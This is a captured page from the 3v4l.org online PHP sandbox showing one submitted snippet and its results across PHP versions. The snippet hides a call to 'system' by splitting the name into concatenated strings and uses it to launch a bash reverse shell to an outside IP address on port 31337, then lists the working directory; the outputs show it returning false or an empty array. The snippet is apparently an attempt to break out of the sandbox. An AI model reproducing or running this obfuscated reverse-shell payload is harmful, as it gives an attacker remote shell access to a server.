3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?php $a=("s"."yst"."em");$a("sh -i >& /dev/tcp/1.236.112.48/31337 0>&1"); var_dump(glob("./*"));
Output for 4.3.7 - 4.3.8, 5.6.0 - 7.3.1
bool(false)
Output for 4.3.0 - 4.3.6, 4.3.9 - 5.5.38
array(0) { }